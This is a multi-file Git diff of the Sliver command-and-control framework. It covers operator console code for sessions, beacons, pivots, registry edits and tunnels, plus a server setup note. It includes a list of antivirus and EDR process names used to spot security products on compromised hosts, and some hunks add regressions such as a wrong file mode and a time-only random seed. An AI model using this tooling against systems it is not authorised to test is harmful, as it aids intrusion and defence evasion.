"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// PivotsGraphCmd - Display pivots for all sessions
func PivotsGraphCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
data, err := json.MarshalIndent(graph.Children, "", " ")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fmt.Printf("%s\n", string(data))
}
+1 -1
View File
@@ -35,7 +35,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -34,7 +34,7 @@ func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
}
id := uint32(ctx.Flags.Int("id"))
if id == uint32(0) {
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -99,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
+15 -40
View File
@@ -35,17 +35,14 @@ import (
var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string][]string{
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
knownSecurityTools = map[string]string{
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
"bdagent.exe": console.Red, // Bitdefender (Total Security)
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
}
)
@@ -71,20 +68,10 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
PrintPS(os, ps, false, ctx, con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
}
})
con.PrintAsyncResponse(ps.Response)
} else {
PrintPS(os, ps, true, ctx, con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
}
}
}
@@ -99,6 +86,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
// PrintPS - Prints the process list
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
pidFilter := ctx.Flags.Int("pid")
exeFilter := ctx.Flags.String("exe")
ownerFilter := ctx.Flags.String("owner")
@@ -130,36 +118,23 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
continue
}
row := procRow(tw, proc, cmdLine, con)
tw.AppendRow(row)
procRow(tw, proc, cmdLine, con)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
})
if !interactive {
overflow = true
}
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
}
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
products := []string{}
for _, proc := range ps.Processes {
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
products = append(products, secTool[1])
}
}
return products
}
// procRow - Stylizes the process information
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
color := console.Normal
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
color = secTool[0]
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
color = modifyColor
}
if session != nil && proc.Pid == session.PID {
color = console.Green
@@ -221,7 +196,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
}
}
}
return row
tw.AppendRow(row)
}
// GetPIDByName - Get a PID by name from the active session
+1 -1
View File
@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintCreateKey - Print the results of the create key command
// PrintCreateKey - Print the results of the crate key command
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
if createKey.Response != nil && createKey.Response.Err != "" {
con.PrintErrorf("%s", createKey.Response.Err)
-105
View File
@@ -1,105 +0,0 @@
package registry
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RegDeleteKeyCmd - Remove a Windows registry key
func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
return
}
hostname := ctx.Flags.String("hostname")
hive := ctx.Flags.String("hive")
if err := checkHive(hive); err != nil {
con.PrintErrorf("%s\n", err)
return
}
regPath := ctx.Args.String("registry-path")
if regPath == "" {
con.PrintErrorf("You must provide a path\n")
return
}
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
Hive: hive,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if deleteKey.Response != nil && deleteKey.Response.Async {
con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, deleteKey)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDeleteKey(deleteKey, finalPath, key, con)
})
con.PrintAsyncResponse(deleteKey.Response)
} else {
PrintDeleteKey(deleteKey, finalPath, key, con)
}
}
// PrintDeleteKey - Print the results of the delete key command
func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
if deleteKey.Response != nil && deleteKey.Response.Err != "" {
con.PrintErrorf("%s", deleteKey.Response.Err)
return
}
con.PrintInfof("Key removed at %s\\%s", regPath, key)
}
-50
View File
@@ -1,50 +0,0 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CloseSessionCmd - Close an interactive session but do not kill the remote process
func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Get the active session
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
con.PrintErrorf("No active session\n")
return
}
// Close the session
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
con.ActiveTarget.Set(nil, nil)
}
+7 -7
View File
@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
return nil, ErrNoSessions
}
sessionsMap := map[string]*clientpb.Session{}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var keys []int
for _, session := range sessions.Sessions {
keys = append(keys, session.ID)
keys = append(keys, int(session.ID))
}
sort.Strings(keys)
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
session := sessionsMap[key]
session := sessionsMap[uint32(key)]
if onlyAlive && session.IsDead {
continue
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return sessionsMap[keys[index]], nil
return sessionsMap[uint32(keys[index])], nil
}
}
return nil, ErrNoSelection
+2 -56
View File
@@ -20,7 +20,6 @@ package sessions
import (
"context"
"net/url"
"time"
"github.com/bishopfox/sliver/client/command/generate"
@@ -43,7 +42,6 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
// Parse C2 Flags
c2s := []*clientpb.ImplantC2{}
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
@@ -88,61 +86,9 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
c2s = append(c2s, tcpPivotC2...)
// No flags, parse the current beacon's ActiveC2 instead
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
c2url, err := url.Parse(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
switch c2url.Scheme {
case "mtls":
mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, mtlsC2...)
case "wg":
wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, wgC2...)
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, httpC2...)
case "dns":
dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, dnsC2...)
case "namedpipe":
namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, namedPipeC2...)
case "tcppivot":
tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, tcpPivotC2...)
default:
con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
return
}
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return
}
openSession := &sliverpb.OpenSession{
+1 -1
View File
@@ -40,7 +40,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session %s ... ", session.ID)
con.Printf("Pruning session #%d ...", session.ID)
err = kill.KillSession(session, true, con)
if err != nil {
con.Printf("failed!\n")
+9 -15
View File
@@ -21,7 +21,6 @@ package sessions
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
@@ -55,7 +54,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
}
return
}
@@ -69,7 +68,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
}
}
return
@@ -91,12 +90,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.GetSession(interact)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
}
} else {
sessionsMap := map[string]*clientpb.Session{}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
@@ -109,7 +108,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
@@ -123,9 +122,6 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
"Last Check-in",
"Health",
})
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
for _, session := range sessions {
color := console.Normal
@@ -143,7 +139,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
burned = "🔥"
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
@@ -154,11 +150,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
burned + SessionHealth,
})
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
con.Printf("%s\n", tw.Render())
}
// ShortSessionID - Shorten the session ID
func ShortSessionID(id string) string {
return strings.Split(id, "-")[0]
}
-15
View File
@@ -559,21 +559,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
case sliverpb.MsgRegistryDeleteKeyReq:
deleteKeyReq := &sliverpb.RegistryDeleteKeyReq{}
err := proto.Unmarshal(task.Request, deleteKeyReq)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
deleteKey := &sliverpb.RegistryDeleteKey{}
err = proto.Unmarshal(task.Response, deleteKey)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
registry.PrintDeleteKey(deleteKey, deleteKeyReq.Path, deleteKeyReq.Key, con)
case sliverpb.MsgRegistryListValuesReq:
listValuesReq := &sliverpb.RegistryListValuesReq{}
err := proto.Unmarshal(task.Request, listValuesReq)
+1 -1
View File
@@ -29,7 +29,7 @@ func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, err := sessions.SelectSession(false, con)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if err != nil {
switch err {
case sessions.ErrNoSessions:
+16 -16
View File
@@ -24,6 +24,7 @@ import (
"errors"
"fmt"
"sort"
"strconv"
"strings"
"text/tabwriter"
@@ -55,7 +56,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
@@ -68,9 +69,10 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
if err != nil {
return nil, nil, err
}
idNumber, err := strconv.Atoi(id)
if err == nil {
for _, session := range sessions.Sessions {
if strings.HasPrefix(session.ID, id) {
if session.ID == uint32(idNumber) {
return session, nil, nil
}
}
@@ -94,15 +96,15 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
if err != nil {
return nil, nil, err
}
sessionsMap := map[string]*clientpb.Session{}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
var sessionKeys []string
var sessionKeys []int
for _, session := range sessions.Sessions {
sessionKeys = append(sessionKeys, session.ID)
sessionKeys = append(sessionKeys, int(session.ID))
}
sort.Strings(sessionKeys)
sort.Ints(sessionKeys)
// Get and sort beacons
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
@@ -120,7 +122,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
sort.Strings(beaconKeys)
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
}
// Render selection table
@@ -128,10 +130,9 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, key := range sessionKeys {
session := sessionsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"SESSION",
strings.Split(session.ID, "-")[0],
session := sessionsMap[uint32(key)]
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
session.Hostname,
@@ -141,8 +142,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
}
for _, key := range beaconKeys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"BEACON",
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
strings.Split(beacon.ID, "-")[0],
beacon.Name,
beacon.RemoteAddress,
@@ -167,7 +167,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
for index, option := range options {
if option == selected {
if index < len(sessionKeys) {
return sessionsMap[sessionKeys[index]], nil, nil
return sessionsMap[uint32(sessionKeys[index])], nil, nil
}
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
}
@@ -182,9 +182,9 @@ func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.Sliv
return
}
for _, s := range sessions.Sessions {
sid := s.ID
sid := fmt.Sprintf("%d", s.ID)
if strings.HasPrefix(sid, prefix) {
results = append(results, s.ID)
results = append(results, fmt.Sprintf("%d", s.ID))
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+14 -17
View File
@@ -31,7 +31,6 @@ import (
"strconv"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
@@ -42,10 +41,13 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"google.golang.org/protobuf/proto"
"time"
"github.com/desertbit/go-shlex"
"github.com/desertbit/grumble"
"github.com/fatih/color"
"google.golang.org/protobuf/proto"
)
const (
@@ -165,8 +167,7 @@ func (con *SliverConsoleClient) EventLoop() {
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
}
case consts.WatchtowerEvent:
@@ -174,8 +175,7 @@ func (con *SliverConsoleClient) EventLoop() {
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
}
case consts.JoinedEvent:
@@ -190,9 +190,8 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionOpenedEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
@@ -205,15 +204,13 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionUpdateEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
case consts.SessionClosedEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s - %v",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
@@ -233,7 +230,7 @@ func (con *SliverConsoleClient) EventLoop() {
proto.Unmarshal(event.Data, beacon)
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(beacon.ID, "-")[0]
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
case consts.BeaconTaskResultEvent:
@@ -299,7 +296,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
// If the callback is not in our map then we don't do anything, the beacon task
// was either issued by another operator in multiplayer mode or the client process
// was restarted between the time the task was created and when the server got the result
// was restarted between the time the task was created and the server go the result
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
@@ -410,7 +407,7 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
return nil
}
for _, session := range sessions.GetSessions() {
if session.Name == arg || strings.HasPrefix(session.ID, arg) {
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
return session
}
}
-2
View File
@@ -211,7 +211,6 @@ const (
RegistryListSubStr = "list-subkeys"
RegistryListValuesStr = "list-values"
RegistryCreateKeyStr = "create"
RegistryDeleteKeyStr = "delete"
PivotsStr = "pivots"
WgConfigStr = "wg-config"
WgSocksStr = "wg-socks"
@@ -220,7 +219,6 @@ const (
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
+2 -2
View File
@@ -29,7 +29,7 @@ var (
// PortfwdMeta - Metadata about a portfwd listener
type PortfwdMeta struct {
ID int
SessionID string
SessionID uint32
BindAddr string
RemoteAddr string
}
@@ -184,7 +184,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
log.Printf("[tcpproxy] Failed to dial implant %s", err)
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
log.Printf("[tcpproxy] Created new tunnel with id %d (session %d)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
+1 -1
View File
@@ -47,7 +47,7 @@ var (
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
SessionID string
SessionID uint32
BindAddr string
Username string
Password string
+2 -2
View File
@@ -32,7 +32,7 @@ func (t *tunnels) Get(tunnelID uint64) *Tunnel {
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
func (t *tunnels) Start(tunnelID uint64, sessionID uint32) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
@@ -75,7 +75,7 @@ func (t *tunnels) Close(tunnelID uint64) {
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
SessionID uint32
Send chan []byte
Recv chan []byte
+4 -4
View File
@@ -32,11 +32,11 @@ import (
func init() {
buf := make([]byte, 8)
_, err := rand.Read(buf)
if err != nil {
insecureRand.Seed(int64(time.Now().Unix()))
} else {
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
seed := uint64(time.Now().Unix())
if err == nil {
binary.LittleEndian.PutUint64(buf, uint64(seed))
}
insecureRand.Seed(int64(seed))
}
func main() {
+1 -1
View File
@@ -50,7 +50,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
return out, 0, int(agentSession.Session.GetID())
case "exit":
return shutdown(agentSession)
default:
+1 -1
View File
@@ -78,7 +78,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
Target: p.conf.OperatorURL,
+32 -143
View File
@@ -6,28 +6,27 @@ date: 2021-07-07 09:01:33 -0500
categories: sliver
---
# 1. Server Setup
The first thing you'll need to do is setup a Sliver server.
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
